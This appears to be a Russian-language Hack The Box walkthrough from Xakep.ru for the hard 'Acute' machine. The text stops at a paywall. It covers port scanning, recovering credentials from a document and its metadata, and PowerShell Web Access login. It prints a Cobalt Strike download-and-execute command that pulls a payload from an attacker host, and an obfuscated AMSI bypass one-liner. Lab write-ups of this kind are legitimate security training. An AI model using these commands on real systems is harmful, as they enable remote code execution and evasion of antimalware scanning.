Содержание статьи
Проходить мы будем машину Acute с площадки Hack The Box. Уровень сложности — hard.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.145 acute.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
![Результат работы скрипта Результат работы скрипта](https://static.xakep.ru/images/26dfab67311aeade0d4328f4970c370c/26942/02.png)
По результатам сканирования имеем всего один открытый порт — 443, стандартный для веб‑сервера. Поскольку на нем используется SSL, мы можем посмотреть сертификат и в поле commonName
находим домен, для которого он действителен. Nmap автоматически отображает это поле в результате сканирования. Новый домен тоже добавим в /
.
10.10.11.145 acute.htb atsserver.acute.local
![Главная страница atsserver.acute.local Главная страница atsserver.acute.local](https://static.xakep.ru/images/26dfab67311aeade0d4328f4970c370c/26941/03.png)
Идем осматривать сайт. Ссылок на нем маловато, но одна из них ведет на документ.
![Страница с документом Страница с документом](https://static.xakep.ru/images/26dfab67311aeade0d4328f4970c370c/26940/04.png)
Скачаем док для анализа: в нем может быть интересная информация.
Точка входа
В документе находим какой‑то дефолтный пароль. Такие вещи всегда стоит отмечать — при прохождении лабораторок они по закону жанра обязаны еще выстрелить.
![Содержимое скачанного документа Содержимое скачанного документа](https://static.xakep.ru/images/26dfab67311aeade0d4328f4970c370c/26937/05.png)
Также находим упоминание работы, а чуть дальше и ссылку на PSWA (PowerShell Web Access). Эта функция позволяет удаленно управлять сервером с помощью PowerShell через обычный браузер. Доменное имя из ссылки добавим в файл /
.
10.10.11.145 acute.htb atsserver.acute.local
![](https://static.xakep.ru/images/26dfab67311aeade0d4328f4970c370c/26938/06.png)
![](https://static.xakep.ru/images/26dfab67311aeade0d4328f4970c370c/26939/07.png)
Переходим по найденной ссылке, и нам открывается панель авторизации PSWA.
![Панель авторизации PSWA Панель авторизации PSWA](https://static.xakep.ru/images/26dfab67311aeade0d4328f4970c370c/26936/08.png)
У нас есть пароль, осталось найти имена пользователя и машины.
Точка опоры
Файлы вроде офисных документов очень полезны при разведке. Их метаданные могут содержать, к примеру, имя пользователя и название машины. Поэтому первым делом получим метаданные скачанного файла с помощью Exiftool.
![Метаданные документа Метаданные документа](https://static.xakep.ru/images/26dfab67311aeade0d4328f4970c370c/26935/09.png)
Из поля Creator
получаем имя пользователя, а поле Description
раскрывает имя машины. Но с этими учетными данными подключиться не получилось, поэтому я пошел искать на сайте другие подсказки. И нашел... имена пользователей.
![Найденные пользователи Найденные пользователи](https://static.xakep.ru/images/26dfab67311aeade0d4328f4970c370c/26934/10.png)
Формируем список по уже имеющемуся у нас формату.
![Список аккаунтов Список аккаунтов](https://static.xakep.ru/images/26dfab67311aeade0d4328f4970c370c/26933/11.png)
И с найденным паролем на обозначенной машине мы получаем командную веб‑оболочку PowerShell от имени пользователя edavies
.
![Командная веб-оболочка Командная веб-оболочка](https://static.xakep.ru/images/26dfab67311aeade0d4328f4970c370c/26932/12.png)
Для дальнейшей эксплуатации и продвижения я решил использовать популярный фреймворк Cobalt Strike. Первым делом создадим листенер.
![Параметры листенера Параметры листенера](https://static.xakep.ru/images/26dfab67311aeade0d4328f4970c370c/26931/13.png)
Для удобной доставки нагрузки будем использовать скрипт на PowerShell, расположенный на локальном веб‑сервере.
![Настройки Scripted Web Delivery Настройки Scripted Web Delivery](https://static.xakep.ru/images/26dfab67311aeade0d4328f4970c370c/26930/14.png)
После настройки нам даже дадут команду, которую необходимо ввести на целевой системе.
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.14.26:80/info'))"
![Ошибка запуска нагрузки Ошибка запуска нагрузки](https://static.xakep.ru/images/26dfab67311aeade0d4328f4970c370c/26929/15.png)
Но нас останавливает антивирус, который триггернул из‑за AMSI.
Справка: AMSI
Antimalware Scan Interface (AMSI) — это компонент Microsoft Windows, который обеспечивает более глубокую проверку встроенных служб сценариев. Продвинутое вредоносное ПО использует замаскированные или зашифрованные сценарии, чтобы уклониться от традиционных методов проверки. Такое вредоносное ПО часто загружается непосредственно в память, поэтому не использует файлы на устройстве. AMSI — это интерфейс, через который приложения и службы в Windows отправляют запросы на проверку установленному на компьютере средству защиты от вредоносного ПО.
Но мы можем запатчить AMSI, чтобы используемый нами код не уходил на проверку. Метод заключается в изменении адресов заголовков amsiContext
(контекст, в котором происходит сканирование): зануляем указатель.
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
![Патч AMSI Патч AMSI](https://static.xakep.ru/images/26dfab67311aeade0d4328f4970c370c/26928/16.png)
И после повторного запуска нагрузки получаем активную сессию в нашем фреймворке.
![Граф сессий в CS Граф сессий в CS](https://static.xakep.ru/images/26dfab67311aeade0d4328f4970c370c/26927/17.png)
Продвижение
Получив контроль над хостом, я сразу просмотрел запущенные процессы и сессии активных пользователей.
![Process Explorer в Cobalt Strike Process Explorer в Cobalt Strike](https://static.xakep.ru/images/26dfab67311aeade0d4328f4970c370c/26921/18.png)
Видим запущенные процессы powershell.
в первой сессии. Это значит, что пользователь авторизован и выполняет определенные задачи. Чтобы получить доступ к окружению сессии, нам нужен контроль над ней. Другими словами, наш агент должен работать в той же сессии.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»